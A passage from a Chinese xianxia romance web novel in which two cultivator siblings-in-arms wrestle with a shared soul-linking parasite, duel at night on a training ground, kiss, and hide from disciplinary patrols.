其二,蛊虫二百天成熟之时,便会开始啃食宿主灵识,进而废掉灵脉,沦为废人。 时闻筝给出的解决办法就是在这之前让中蛊的两人以灵识相融相交,引蛊虫相互啃食,达到以毒攻毒的效果。 颂慈仙尊扫了一眼小徒弟,俊美得格外凌厉的眼眸一眯,反问她:“为什么这种方法不行?” 叶怀昭犹犹豫豫,小声说:“这种事只有极信任的两个人才能做吧,而且中途还不能升起一丝抵抗之意……我觉得我和师兄不太行。” 听到叶怀昭的话,时闻筝却是转头去看旁边似乎在出神的谢迟云。 他毫不客气说:“你觉得你不行?” 谢迟云:“……” 在两双眼睛的注视下,白衣青年的面色不变,只是无奈地叹了口气,声音平静说:“仙尊,师妹失忆了。” 叶怀昭等了一会,没听到他说第二句。 她没听懂她失忆了和谢迟云行不行有什么关系——难道她没有失忆的话他就行了? 莫名其妙。 可是就是这样一句没头没尾的话,时闻筝蹙起的眉头却慢慢松开了。 他转过眼看了叶怀昭几瞬,后者茫然地同他对视,正欲开口细问,就见她的师尊又若无其事地移开了视线。 “最简单快速的办法已经告诉你们了,至于用不用,由你们自己解决,”时闻筝垂下眼睑,淡淡道,“我没有你想得那般神通广大,不保证能再找出第二种剥离蛊虫的办法。” “蛊虫在你们体内已待了二十八日,你们只剩下一百七十二天做决定。” 说完这句话,时闻筝便直接将两个不省心的弟子赶出了他的院子。 看着朱红大门在自己面前“砰”一声关上,叶怀昭摸了摸自己的鼻子,转头去看同样被赶出来的谢迟云。 他们两个之前刚离开仙舟,便立刻来了西翠谷找时闻筝。 原以为蛊虫会在这里剥离,却没想到最后是他们两个被扔了出来。 气氛无比尴尬,叶怀昭心中在甚至对时闻筝产生了一丝丝的幽怨: 师尊,你怎么不直接把解蛊方法写在信中一并捎来? 她那些给自己开解的心理准备白做了。 不仅白做了,现在叶怀昭一想起自己在仙舟上说出的话那么决绝果断,之后却还是要和谢迟云绑在一起,就尴尬得恨不得一头撞死在面前的大门上。 她甚至都开始怀疑桑春这人是不是有点乌鸦嘴在身上的——怎么她的解蛊之路真的和她随口乱说的话本齐头并进了! 胡思乱想间,叶怀昭听到谢迟云说:“师妹想要解开剥离蛊虫吗?” 叶怀昭:“当然想啊。” 虽然之前和谢迟云说既然做不到剥离那就去习惯,可要是能剥离为什么还要去习惯?更何况一百七十二天后她要是还没剥离,那可是必死无疑。 “但是……” 她说着声音忽地一顿,而后以一种常人根本来不及反应的速度放出灵识,毫无征兆地朝着身旁谢迟云的方向探去。 无形的波浪在四周荡起,像是凭空起了狂风。朱红大门旁栽种的千年古树发出树叶摇晃的“哗哗”响声。 枯叶飘落的中央,叶怀昭黑玉般的眼珠微转,示意谢迟云去看他硬生生将自己拦在半路的灵识。 “但是师兄不想用这种方法剥离蛊虫吧,”她慢慢说,“况且我们现在也做不到。” 若是能剥离蛊虫,叶怀昭其实并不是很抗拒和自己师兄欢好的——毕竟无论是她还是谢迟云都没有道侣,若是你情我愿,谁又规定只有道侣之间才能做这档子事呢? 但是问题就在于这蛊虫并不是仅仅欢好就能剥离。 它需要神交。 要知道,即便是早已对着天道立誓的道侣之间一般都不会神交。 因为这意味着只要其中一方有一点抗拒之意,都有可能让对方脆弱的灵识破碎,非数十年的温养都难以修复。 她信任自己的师兄,而经过地洞之事,叶怀昭相信谢迟云也 在尝试着对她放下戒备。 可他们两个还远远达不到神交所要求的合二为一、同源共流的地步。 就像现在,他的本能在对她戒备。 叶怀昭的话让气氛瞬间变得微妙。 谢迟云沉默片刻,说:“师妹是这么想的?” 叶怀昭反问:“师兄不是这么想的?” 谢迟云盯着她,没有回答这个问题,而是慢慢说:“师妹,你似乎在生气。” 叶怀昭心中一跳,条件反射地想要收敛自己脸上的情绪,却在眨了一下眼后忽然意识到这根本就是谢迟云通过连魂蛊感知到的情绪。 她懊恼地在心中跺脚,强装镇定说:“怎么了,被自己信任的师兄戒备,难道我不能生气吗?” 此话一出叶怀昭自己就先起了一身鸡皮疙瘩。 她身旁的谢迟云像是没料到她会将话说得这般直白,脸上的表情都顿了一瞬。 意识到她在说什么后,谢迟云斟酌着开口:“师妹,我——” “谢师兄!” 身穿青龙纹样门服的弟子自传送阵走出,匆匆地向这边跑:“谢师兄,掌门有事找你!” 被打断这句话的谢迟云抿唇。 叶怀昭看了他一眼,撇过头,无视那欲言又止的神色,装作毫不在意说:“师兄先去忙吧,连魂蛊的事情我们下次有时间再说。” “——我会尽力去寻找除了此法外的第二种解蛊方法的。” 过了许久,她才听到自己的师兄说:“好。” 脚步声慢慢远去,只剩朱红大门前的少女。 叶怀昭在时闻筝门前的千年古树前低头站了片刻。 少女忽地一脚踹在树身上。 她咬牙切齿:“为什么一句解释也不说?” 没有生出灵智的千年古树沉默地向下坠落枯叶,落到低着头难过的少女发顶。 叶怀昭接着骂:“话说得那么好听,结果和之前有什么区别?” 枯叶在她的肩膀处滑落。 叶怀昭:“欲擒故纵用得可真厉害,你到底怎么想的就不能说出来?” 叶怀昭越想越气,还没来得及再次动脚,就被一道翠绿色的灵光击中,横飞出去。 与此同时,颂慈仙尊阴沉沉的声音在她的耳边响起: “谁惹了你找谁,再敢踹我的千年古树,我就把你埋了当肥料。” 叶怀昭:“……” 她委委屈屈地从地上爬起来:“……哦。” 回到长风门后的第一次谈话,最终以谢迟云被临时叫走、叶怀昭给“受伤”的千年古树补充灵力肥料而结束- 蛊虫无法剥离,但修炼还是要继续的,尤其是下个月问道大会便会举行。 之前在乐寿城的后半截时间,是谢迟云忙得脚不沾地,叶怀昭在单方面躲他。 换到长风门,就是谢迟云试图来找自己的师妹好好谈谈,但去了几次西翠谷,就得到了几次闭门羹。 就算路上遇到了,叶怀昭也是一句:“抱歉师兄,我近日想要专注修炼,连魂蛊的事情等过几日再说。” 如此反复三四次后,叶怀昭听说谢师兄忽然带人下山,去捉拿了什么妖魔,叶珩让他在七日内回来,他却硬生生拖到了第十日才带着一身血回了山。 而他这次回来后,叶怀昭猛地惊觉,谢迟云在自己身边出现的频率似乎降低了。 他如她最初所想的那样和她拉开了距离,但叶怀昭却觉得十分别扭。 她深刻知道这一定是谢迟云的阴谋诡计,想要让她主动去找他。于是她特意不去想这件事,每日一睁眼就是去找人切磋。 叶怀昭的修为临近天罡境,长风门中比她修为水平更高的人不算少,可他们多半都是长风门派出去历练的中坚力量,留在宗门的很少。 在这少数的几人中,叶怀昭选择一个一个去挑战。 这段时间她在和一个叫苏白的医修切磋。 他的年纪比叶怀昭大不了几岁,算是天赋好也愿意努力的类型。再加上前年才刚刚破境,对如何突破天罡境很有一套自己的想法,叶怀昭从他这里也领悟了一些破境之法。 又因为他同叶怀昭一样更擅杀人之术,更能填补叶怀昭对巫蛊的薄弱之处,所以叶怀昭其实挺喜欢这位说话幽默风趣的师兄。 甚至直到苏白直言自己已经没有什么好教给叶怀昭后,她也隔三差五地去找对方探讨招数。 直到有一日,叶怀昭照例去找这位苏白师兄交流术法,对方回答完她的问题后,却摇摇头说: “叶师妹,我今日下午便要下山去做任务了,你若是还有疑问,可以通过灵盘来询问我。” 天罡境的弟子具有单独一人下山做任务的能力,于是戒律堂那边若是着急了,也会指派任务给这些闲在山上的天罡境弟子。 叶怀昭除了遗憾外没什么惊讶,甚至在下午对方离山时还特意去送了送他。 既然苏白不在,叶怀昭开始找第二位修为比她高的前辈来切磋技艺。 但是没过几日,这一位前辈也被戒律堂安排着去下山做任务了。 而后,是第三位、第四位…… 终于,在第六位前辈也泪眼汪汪执着她的手拜别下山后,叶怀昭愤怒了。 没等天亮,她便御风瞬影跑去了东云峰上,穿过不知为何没把她拦下的防护阵法,一脚踹开了某处院落的房门。 “谢迟云,你到底想干什么?!” 她大声叫着,反手将房门用术法锁上,一抬眼却撞见站在床榻边上,衣衫半解、赤裸着上身的男人。 在那双闪烁着惊讶的浅色眼瞳中,叶怀昭被他屋中的门槛绊了一下。 第34章 第三十四章不咬他了,如今倒是开始咬…… 叶怀昭重心不稳身形摇晃一瞬,眼见就要摔在地上,谢迟云下意识伸手去拉她。 叶怀昭条件反射地想要躲开他伸来的手,慌乱间竟然不知道又踩中了什么东西,直楞楞地向前扑去。 谢迟云躲闪不及,于是—— “嗷——” 摆件倒地叮呤咣啷的声音接二连三地在屋中响起,珠帘在半空中轻晃,被两人带倒的玉器碎了满地。 叶怀昭摔在谢迟云的身上,下巴重重地磕在他的胸膛。听到对方闷哼一声的同时,自己也没有收住力道,措不及防地咬住了舌头。 那尖锐的疼痛,让她的眼泪一瞬间就飚了出来。 叶怀昭捂着自己的嘴,眼泪不受控制地啪嗒啪嗒向下落。 温热的泪水,在男人半遮半掩的胸膛上流下浅浅的湿润痕迹,又顺着肌理的沟壑慢慢没入深处。 叶怀昭疼得泪眼模糊,没看到自己师兄看着她的眼神几乎是一瞬间产生了变化。 他的胸膛剧烈起伏几瞬,又默默让自己平缓。 谢迟云撑在地板上的手肘动了动,最后抬起右手,轻轻搭在少女的侧脸上,拇指擦过她湿润眼眸的下方。 他轻柔地抹掉眼泪,声音低缓说:“我看看。” 叶怀昭只觉得自己满嘴都是鲜血的铁锈味,要不是舌头还在,几乎以为自己在咬舌自尽。 她没注意到谢迟云蹭过她脸颊的手指,也没注意对方幽深的眼眸,一片空白的大脑几乎还在重演方才自己看到的画面。 窗外暮色深沉,淡淡的檀木清香自鎏金香炉中袅袅腾起,夜明珠散发的柔和光辉落在屋中床榻的位置。 站在旁边的青年大约是刚刚沐浴出来,乌黑长发散在身后,湿润的水汽在他的身上缭绕,半遮半掩的衣衫下是泛着冷玉般温润光泽的胸膛。 有深深浅浅的伤疤横亘在肌肤上,未愈的新伤落在心口,结出暗红色的薄痂。 他像是世外谪仙般清冷,可眉心处殷红的朱砂痣却又为其增添了一股似有似无的风流。 叶怀昭的心头重重地颤动。 她从未见过这种样子的谢迟云——即便是在那地洞中时,他身上的衣物都是完整的。 她抖着手想要从他的身上爬起来,可一伸手,就毫无阻隔地按在了自己师兄没有衣衫遮挡的胸膛上。 随着呼吸起伏的胸膛不见光,冷白得近乎肃穆,可常年习武练剑造就的身躯又是肌理分明,层层块垒重叠起伏,像是山水画中勾勒而出遒劲有力的山峦线条。 她的全身重量都压在他的身上,没过一会 按住的部分便泛起日晕般的浅红,指甲划出一道红痕。 叶怀昭的后颈霎时间沁出薄汗。 她手忙脚乱地想要站起来,发丝却不知被什么东西勾了一下,扯得她顿时又栽了回去。 床榻旁的铜镜中映出的两人衣袂交叠,少女的耳尖红得几乎滴血。 她单手去扯自己的发丝,却怎么也没法将其勾开,越急头皮越疼,像是要生生扯下来一块似的。 叶怀昭气得几乎要连术法都忘了,还是被她垫在身下的男人叹了口气,伸手耐着性子帮她把发丝一缕一缕解开。 随着一声“好了”,叶怀昭几乎是连蹿带跳地退后数步,捂着嘴眼睛睁得溜圆地看着谢迟云。 谢迟云不紧不慢地将散开的衣襟整理好,看向叶怀昭:“师妹,你的嘴……” “我没事!”叶怀昭说话时依旧感觉舌头传来强烈的刺痛感,可她硬生生忍下了,“我可以自己治好。” 像是为了证明自己的话一样,叶怀昭左看右看找了一面铜镜,张开嘴伸出舌尖,用灵力给自己处理伤口。 这根本不是什么大伤,要不是落在舌头上,叶怀昭管都不会管。 借着铜镜,谢迟云看到少女伸出的一截湿红舌尖上,带着一圈被她自己咬出的血痕。 谢迟云伸出手,灵力将碎在地上的玉器重新拼合好,放在旁边的架子上,垂下眼想: 她惯喜欢咬人。 不咬他了,如今倒是开始咬自己了。 叶怀昭极快速地将将伤口治疗好,终于呼出一口气,强装镇定地望向身后的师兄:“你是不是故意针对我?” 谢迟云回神,哑然失笑:“师妹为何这么说?” “你别装无辜!” 叶怀昭没因为方才的意外忘记自己的目的,此时冷笑一声说:“苏白师兄、廖师兄、孙师姐……我去请教交流的师兄师姐们在前几日接二连三地接到任务下山,这难道不是乘玉仙君的手笔?” 谢迟云:“天罡境及以上的弟子皆有下山除妖庇护凡间的责任,这并非是我安排的。” “师兄当然不用安排,你只需要向戒律堂提醒一句‘前些日子积压未完成的任务有些多’,他们自然会将那些陈年旧案分给留在山上的人去完成。” 谢迟云道:“这与师妹认为我在针对你有什么关系?” “怎么没有关系?”叶怀昭被他这幅波澜不惊的神色都气笑了,“你难道不知道我在和他们切磋交流?你明知如此,偏偏在此时将他们调离长风门,这不是在针对我是在做什么?” 谢迟云:“是在传达师尊的意思。” “谢迟云!”叶怀昭终于忍不住了,扬高声音打断了他的话,“我都没有因为你戒备我而生气,你又有什么好不高兴的?!” 屋中的气氛骤然一滞。 隔了许久,只着一件单衣的男人缓缓说:“师妹,我没有不高兴,我只是觉得我们应该好好谈谈。” 叶怀昭扯了扯唇角,心想你费这么大劲、绕这么大的圈子就是为了这个目的? 着实让人叹为观止。 她轻轻抬起头,用下巴轻点谢迟云,声音拖着长音问他:“好,我跟你谈——你想谈什么?” 是委婉表达不想和她用那种方式解蛊,还是指责她夜闯寝屋对他上下其手——后者她可以诚恳道歉——所以说他为什么要夜半时分去沐浴! 叶怀昭在心中嘀嘀咕咕,给心中设想了几个面对谢迟云的应答。 但是谢迟云看了她片刻,说出的话却没有一个在叶怀昭的猜测之内。 “谈师妹怎么突破天罡境。” 叶怀昭:“……” 叶怀昭:“?” 她的神色变幻莫测,认认真真地看了说出此话的谢迟云几瞬,像是在确认他有没有开玩笑一样。 “你把师兄师姐们调去山下、逼我来找你,就是为了谈怎么让我突破天罡境?”叶怀昭迟疑说,“师兄,方才到底是你还是我磕坏脑袋了?” 谢迟云顺着她的话说:“师妹和我的脑袋应该都没有磕坏。” 他顶着叶怀昭满脸荒谬的神情,淡声说道:“师妹,我可以帮你突破天罡境。” 叶怀昭停顿片刻,缓缓说:“但你不是医修。” 当初在仙舟上时,叶怀昭也不是随口乱说的。 她虽然修习剑术,但剑道之于她只是一个辅修之道,叶怀昭真正修行的依旧是医术。 叶怀昭不怀疑谢迟云教授他人的能力,只是她觉得谢迟云不太适合教授她。 然而谢迟云却道:“但我了解你。” 叶怀昭神情一怔。 谢迟云说:“你的祝由之术、符印之术、五音之术……除去颂慈仙尊外,唯有我一清二楚。” “况且,比之我……”他轻轻笑道,“颂慈仙尊不通剑道。” 谢迟云抬眼,盯着陷入思考的叶怀昭:“师妹在那几日和医修前辈的切磋交流中应该也知道,你欠缺的并不是什么招数,也并非能力。” “——而是一个对你知根知底、且能让你生出兴奋之意的对手。” “只有我可以做到。” – 直到和谢迟云莫名其妙站到习道场上时,叶怀昭还在心想: 他是不是早就知道我会在这个时候来找他? 要不然怎么在我答应和他切磋后,就这么自然流畅地带着她闯进了夜晚禁闭大门的习道院中? 他破开阵法的速度几乎和当初翻窗户进澡雪阁一样熟练。 “师妹,你可以使用医术,亦可使用剑术。”谢迟云站在习道场的另外一端,遥遥说道。 叶怀昭瞥了一眼他,抬指将自己腕间的听白剑放开,薄如蝉翼的长剑顿时兴奋地铮鸣一声,化作一道流光重新凝实在她的手中。 谢迟云看着她的动作,微微挑眉。 叶怀昭却懒得解释,握剑的右手抬起,剑尖直指另一端的男人。 “师兄,按照方才所做的约定:我倾尽全力,而你若是没能在百招之内让我越线,那便是你输,此后你我互不干涉。” “若是你赢了,那我就如你所说的那样,在突破天罡境前日日找你修习、日日帮你做事。” 谢迟云的修为水平在她之上,可叶怀昭的对敌经验远超她如今的修为水平。 从理论上而言,一个与谢迟云同修为的人是做不到在叶怀昭倾尽全力时,在百招之内让她越界的。 除非这个人极其熟悉她的招数、对她了如指掌。 叶怀昭很好奇谢迟云话语中对她的熟悉到底是从何而来的,而这场切磋便是她对谢迟云的考验。 这并非是叶怀昭亦或是谢迟云个人的输赢胜负。 而是在比谢迟云对叶怀昭的熟悉程度,能否胜过叶怀昭对自己的熟悉程度。 叶怀昭站在习道场上,听白剑的剑柄抵着她的腕骨,手腕上悬坠的银镯自动收紧,圈住她的皮肉肌肤。 夜色深沉,整个习道院中只有这一处场地亮起隔绝灵力的阵法光芒,院外巡山的修士挑着灯,打着哈欠走过。 院中,一身鹅黄衣裙的少女持剑挽了个漂亮的剑花,抬手行礼,语气轻快。 “师兄,请赐教。” 第35章 第三十五章最终变成一个落在他唇角,…… 没有仙师在旁监督下令,叶怀昭随意行了个礼后,听白剑瞬间出鞘攻向谢迟云。 她的足尖轻点地面,身形消失在习道场上的同时,淡青色的毒雾在刹那间蔓延全场。 谢迟云赤手空拳地站在毒雾的中央,听到少女悠远缥缈的声音从四面八方传来:“师兄,多有得罪了。” 万道银针自看不见的角落飞速逼近,将谢迟云的退路全数封死,一道凌厉的剑光迎面而来! “铮——” 刀剑相撞的铮响在两人的面前猝然响起。 对峙间,叶怀昭不悦地盯着在毒雾的干扰下依旧精确找到她的谢迟云。 后者原本空无一物的手中出现一柄银色碎光的长剑,他握着漆黑符文流淌的剑柄,垂眼笑道:“师妹还是喜欢用这招作为第一招” 起手放出干扰心魂的毒雾、再用毒针截断退路、最后再令人措不及防 地出手。 他说得没错,叶怀昭的确喜欢用这招先打一个下马威。 可眼下这个下马威似乎在第一招时就被看穿了。 叶怀昭眯眼瞧了他片刻,灵力包裹右腕忽地挑起长剑,硬生生扛着力量与他交手数招。 灵力凝实而成的剑刃与听白剑相撞,却依旧发出清脆的嗡鸣之声。 叶怀昭面上不动声色,实际内心却越发觉得不妙。 谢迟云之前说熟悉她的招式,应当不是在随口诓骗她。 他的的确确地知道她的用招习惯,这数十招中谢迟云一招进攻的剑式都没有使用,而防御的招数却永远都能比她快一步抵达。 甚至,叶怀昭几乎有一种是他在牵引着自己下一招用什么的感觉。 她心中思绪翻涌,听白剑在下一瞬忽地向旁偏转角度,化刺为挑,故意露出一个破绽。 她改式的动作迅速且流畅,若非本就知道她下一招想用什么的人,根本不会觉察到这其实是临时改变的一个招数。 但与她交手的男人却是眼睛眨也不眨,抓住破绽将叶怀昭挑飞的同时淡声说:“方才的剑术,剑尖应当再下压三寸。” 少女翻飞的衣裙在空中荡开轻盈如蝶的弧度,谢迟云没有收敛的灵力在周围荡开层层无形的波浪,场边古树的叶子瞬间飘飘荡荡地落下。 叶怀昭在落地的前一瞬恰好抬眼,一幕陌生而熟悉的画面瞬间在眼前重叠。 烈日当空,芦苇摇曳,蝉鸣撕扯着燥热空气。 波光粼粼的河流流淌而过,她看到一个眉目精致的少女坐在河边的石头上,灵力覆盖全身隔开热浪,却依旧提不起精神地打着哈欠。 她脱了鞋袜,纤细白皙的双脚浸在水中,有一搭每一搭地玩着水。 过了一会,少女像是觉得没意思了,忽地双手撑在身后,歪头去看旁边抓鱼的少年。 她说了什么,此时的叶怀昭并不清楚,只看到少女盯了那少年片刻,忽地勾了勾唇角。 她轻盈地跃下石头,踩着河水,持剑攻向背对着她抓鱼的少年。 哗啦的水声浸透熔金日光,剑气将飞溅而起的水珠斩碎。 眉心一点殷红的少年回首,手中叉鱼的树枝被叶怀昭的剑气斩断。 他的眼中含着无奈的纵容,却是不退反进,顺势用半截树枝将她的长剑压下,点在她的肩头穴位,落下酸麻的触感。 “师妹力气弱,用剑时不妨将灵力加持在手腕上。”少年的声音干净清澈,说道,“剑刃可不似树枝这般容易斩断。” 飞溅的水珠在剑气中轰然破碎,而落叶划过眼前,将叶怀昭从回忆中拽回。 “——这时候分神可不太好,师妹。”白衣青年清淡的声音在耳边响起,叶怀昭在半空中旋身躲开他的剑刃,毒雾重新将她的身形隐藏。 她按了按自己的眉心,郁闷地心想怎么别的时候回想不起来记忆。 上一次回想起来是在和谢迟云就季衡远的事情对峙,这一次又是和他打架。 难不成只有和他发生激烈冲突时才能回想起来之前的事情? 这样想着,叶怀昭因为交手而产生的兴奋却没有散去,她的眼中升起跃跃欲试。 她在心中默默记着招数。 谢迟云在方才的交手中已经用了五十四招,只要她能坚持过剩下四十六招,那便是他输。 只是简单思索,叶怀昭便决定将听白剑收起,灵力重新缠绕在她的手腕上。 她的剑术是叶珩亲手所教,而谢迟云的剑术也是叶珩所教,谢迟云知晓她会用什么剑术并不奇怪。 那么,抛开剑术,你依旧对我了如指掌吗? 被毒雾笼罩的习道场中闪过几道赤色的灵力光芒。夜风穿过树梢,在即将流向场地中的时候忽地被无形的力量强行停止。 与此同时,一道巨大的阵法旋转升起,符文勾勒的咒律牵引灵力,呼吸间整个习道院的灵力都似是被吸引般向阵法当中涌入。 银色的剑影握在白衣青年的手中,他微微眯起眼眸,饶有兴趣地打量着自己脚下的阵法。 “师妹,你这一招的动静有些大了。”谢迟云提醒说。 叶怀昭:“怎么,师兄觉得自己应付不来?” 谢迟云叹气:“这一招用了,我们可就要决出胜负了。” 叶怀昭知道他在说什么,但是她就是要给他找麻烦,故意说:“那师兄可要好好瞧瞧,我这一招你能不能胜过我。” 她不走心地给巡山的弟子道了声歉,手指掐诀,灵力瞬间暴动! 天地为鼎,万物为药,灵力为火。 汲取灵力的阵法在刹那间引起云层翻涌,灵力碎光在夜幕中切出无数道絮状云丝,暴雨倾盆而下。 藏经阁中,翻找半魔古籍的桑春从晦涩难懂的符文咒法中抬起头,神色莫名地瞧了一眼窗外电闪雷鸣的天幕。 这熟悉的招数…… 桑春的嘴角微抽,从旁边摸出来灵盘,先是给叶怀昭发了一个“?”后,转头登上了灵盘中供长风门弟子闲聊的灵坛。 她掠过数十条写着“到底是哪个口口半夜不睡觉他口地打架!是不是口口啊!”的帖子,转而点进一个戒律堂的收集贴。 她噼里啪啦敲字: 【xx于深夜入幻境,违反门规,请立即捉拿。】 敲完这句话后,看着巡山弟子回复【收到】,桑春心累地叹了口气。 xx师兄,对不住了,要怪就怪你为什么非得挑叶怀昭和她师兄打架的时候违反门规吧。 为了让昭昭不再被关禁闭,只好牺牲你了xx师兄。 暴雨依旧在下,灵力融入水中,在雨幕中氤氲而起。 谢迟云手中握着长剑,面对那几乎是引灵脉之灵力、倾尽所有的一招时,忽地不合时宜地走神一瞬。 他想起得知季衡远意图对叶怀昭下手,自己准备离开长风门的那日。 颂慈仙尊将他拦住。 “你可知此行将会产生什么后果?” 他说:“我知道。但我必须去。” 颂慈仙尊目光冷淡:“你寿命还剩几许?” 他沉默半晌,说:“一年。” 于是颂慈仙尊嗤笑一声,说道:“那为何不像之前那般,当做什么都不知道,什么都没发生?你如今去招惹她,可知后果如何?” 颂慈仙尊说:“谢迟云,你同我和她父亲承诺过,不会再让她陷入像是无忘川那般的死境。” “他只有一个女儿,而我也只有这一个徒弟。” 仙舟在长风门外停留,而来自仙尊的灵力威压却生生将他按在原地。 他平静地说:“我不会违背承诺。” 颂慈仙尊脸上闪过一丝讥笑,正欲开口,却被他打断了。 “但是仙尊,”二十二岁的谢迟云垂着眼,声音低缓,“若是她主动来寻我……我永远无法做到漠视。” 习道院中隔离灵力的阵法破碎。 谢迟云慢慢抬起手中长剑,与此同时,他的身后也显出一道银色巨剑的幻影。 叶怀昭慢慢睁大眼眸。 她曾经见过谢迟云使用无象剑法,可他一向只用前几式,从未正儿八经地用出最后一式。 ——恰巧,叶怀昭如今所用的天地炉鼎阵法,唯有这无象剑法的最后一式可将其斩破。 谢迟云未持他曾经的神武,手中只有灵力幻化而成的长剑虚影,可半空中却忽地响起龙吟似的嗡鸣剑啸,雨丝刹那间停滞。 在这一瞬间的凝滞中,半空中谢迟云的巨剑虚影斩下—— 似是裹挟着惊涛骇浪,似是有巨山倾倒,浩大的声势下阵法轰然破碎,赤色的灵力流光旋转着飞向远方。 叶怀昭下意识地闭上眼睛,那凌厉至极的剑气却没有如同她所料的那样落在她的身上,而是如风一般,将她裹挟着推出场地。 熟悉的声音在她的耳边慢慢响起。 “师妹,是我胜了。”谢迟云垂着眼睛,定定看着她,“你之前所说的‘互不干涉、各走各路’——” 他一字一顿说:“我不接受。” 叶怀昭怔怔地望着他决绝的神色。 灵力早 已在两人的对峙间尽数湮没,于是雨丝毫无阻拦地将他们的满身衣衫浸湿,湿润的水珠沿着脸庞滑落,像是泪,也像是血。 嘈杂的声音在她的耳边轰鸣,光芒在眼前炸起,灵力耗尽的疼痛夹杂着境界松动的酸胀同时传递至大脑。 叶怀昭的喉咙发涩,脑海中燥暑的蝉鸣与面前的夜雨交叠重影,哗啦哗啦的河水与雨幕的声响交织。 炽热的日光、幽冷的深夜、潮湿的青石、粼粼晃动的水光。 过去与现在重叠。 叶怀昭的喉咙动了动,忽地毫无征兆地扯住了谢迟云的衣领。 ——记忆中的少女不满地撇开长剑,伸手拉过少年。 墨发淡眸、眉眼清隽的两个人同时顺从地俯身,额间朱砂痣殷红勾人。 叶怀昭盯了片刻,冷不丁道:“师兄,这可是你自己说的。” 她的手臂勾在师兄的脖颈上,轻轻抬首。 叶怀昭心中的犹疑不定在此时皆被雨水冲刷,那些畏惧、迟疑、害怕…… 最终变成一个落在他唇角,试探般的吻。 “从现在开始,我要你永远不会推开我。” ——他们坠落于水与日光交叠的粼粼伏日之中。 第36章 第三十六章“因为我现在勉强有点喜欢…… 浑身被雨水浸透的两个人躲进了习道院后方的简易屋棚中。 比武切磋时经常有人受伤,而药堂与北林峰相距又远,于是便有弟子干脆在习道院后建了处屋棚,能够简单处理伤口。 戒律堂的弟子姗姗赶来,照明的符文咒法在天边燎起一片火光,嘈杂吵闹的搜查声不断传来。 隔着一层薄薄的门板,没有半点灵力的叶怀昭懒洋洋地窝在白藤交椅上,指挥还有余力的谢迟云在周围布下混淆视听的阵法,抹掉他们两人的灵力痕迹。 其中有一道阵法的等阶很高,谢迟云依言布下后,转头去问玩灵盘的师妹:“这道阵法师妹是从哪学来的?” 叶怀昭头也不抬:“小春。” 谢迟云“噢”了一声没再说话,叶怀昭反而抬起头。 她眨了一下眼,故意说:“师兄怎么不问小春学这道阵法是为了什么?” 同样也没什么的灵力的谢迟云低头将自己的衣衫拧干挤水,闻言配合地问:“桑师妹学这道阵法是为什么?” 叶怀昭弯了弯眼眸,黑玉般的眼眸中闪着狡黠的笑意:“为了防止我们两个说悄悄话时被你听到。” 谢迟云在屋棚中转了一圈,找到几件大约是药堂弟子特意放在这里的干净外衣。 他拿着外衣走向白藤交椅上的叶怀昭,一边继续配合地问:“师妹和桑师妹说什么悄悄话了?” “既然是悄悄话,怎么能被师兄知道。” 灵力耗尽的叶怀昭瞧上去没有精力,声音都懒洋洋地拖着长音。 她懒得动弹,抬起手任由谢迟云用灵力帮她把身上水分烘干,又把外衣披在她的身上,把自己裹得暖烘烘后才眯了眯眼说: “但是,”她从外衣中将自己的手抽出来,比出一根手指晃了晃,“现在我心情好,所以如果师兄回答我一个问题,我可以偷偷告诉你我和小春说了什么悄悄话。” 不知是有意还是无意,少女细白的手指在摇晃间划过低头俯身为她披衣的师兄脸颊。 谢迟云没有抬起眼睛,他又向叶怀昭的身上披了一件外衣,在对方不满地唤他一句“师兄”后,才伸手握住少女不断在他眼前晃动的手指。 他微微抬眼,被雨水浸湿而格外清透的眼眸直直望着交椅上的少女。 “师妹想问什么?” 叶怀昭向后抽手——没有抽动——干脆就保持着被他握住右手的动作,眼中闪着兴致勃勃的光。 “你有没有道侣?”她直白问。 谢迟云的掌心中就是少女存在感极强的手指,他垂了垂眼,说:“没有。” 叶怀昭从交椅中坐直身体。 方才那个落在唇角的吻是她大脑发热混沌后的直觉行动——但叶怀昭现在清醒过来,也并不觉得后悔。 为了不耽误谢迟云的修行,她可是给过机会让他远离的。 是他谢迟云自己蛮横执拗,非说不同意桥归桥路归路的做法,自己亲手把机会丢开。 那她顺从他的话、勉勉强强地同意让他永远不会推开她——这很合理吧? 叶怀昭凑近俯身的师兄,黑亮的眼眸映着对方神色沉静的缩影,慢慢试探着问:“那,师兄有没有爱慕的姑娘?” 屋外戒律堂弟子的术法划出明亮的光柱,穿过窗棂、斜斜落在两人的眼前。 近在咫尺的雨滴声落在耳中,即将被发现的紧张感混着期待得到答案的兴奋,让叶怀昭的心跳不由自主地加速。 她小声说:“——她是谁?” 谢迟云握住她的右手微微收紧,不轻不重地捏了一下她的手指。 叶怀昭的眉角措不及防地抽动一瞬,条件反射地想要向后抽手——依旧没有躲开。 简易屋棚中的空气逸散着一股陈旧的潮气,却依旧掩不过似有似无的苦涩药味,其间又带着淡淡的檀木香。 术法的光芒倏地挑亮身前男人的面容。他单膝跪在她的面前,雨水将整张脸浸润得冷白,鸦黑眼睫上带着将坠未坠的水滴。 他极轻极缓地将手指竖在唇边,无声地说: 【嘘。】 几缕湿发蜿蜒地缠在他的脖颈,随着喉咙的滚动而轻微起伏。 叶怀昭下意识屏息。 她与谢迟云在黑暗之中对视,不时有灯笼的光透过窗棂落在屋中,摇晃的光明明暗暗地闪在两人的脸庞上。 叶怀昭甚至怀疑自己的心跳声震耳欲聋,可与心跳声相比,轻缓潮湿的呼吸似乎又更令人心惊胆战。 她就这样一眨不眨地盯着面前的男人,戒律堂弟子搜查的声音渐渐远去,不知是谢迟云落下的阵法过于高深有效,还是桑春的掩护起到作用。 总之,他们离开了。 谢迟云听着屋外嘈杂的声响消失,才慢慢松开握住叶怀昭手指的右手。 少女活动着自己僵硬的手指关节,看见单膝跪在她面前的男人站起身,慢慢说:“师妹,这可是第二个问题。” 叶怀昭活动手指的动作微微一顿。 而后她不满地哼了一声,嘀咕说:“小气。” 谢迟云假装没听到她当着自己的面骂他。 叶怀昭将灵盘捞到怀中,不情不愿说:“我在和她探究你究竟是哪里的人。” 谢迟云抬手将自己身上的水汽烘干,同样换了件外衣。 “师妹调查出来了吗?” 叶怀昭打了个哈欠:“没有——你可不可以主动给我透露一下。” 谢迟云微笑着:“不可以。” 叶怀昭伸手把两件外衣蒙到头顶,小声嘟囔:“切,小气。” 戒律堂搜查的人虽是走了,但两人因为方才的对决此时灵力都没剩多少,若是出去,很有可能会被巡山弟子抓到。 而且因为叶怀昭方才对灵力的抽调,整个长风门的天气此时都不太稳定。方才下暴雨,此时又在飘雪,极不稳定。 于是两人不约而同地决定在这简陋的屋棚中凑合一晚。 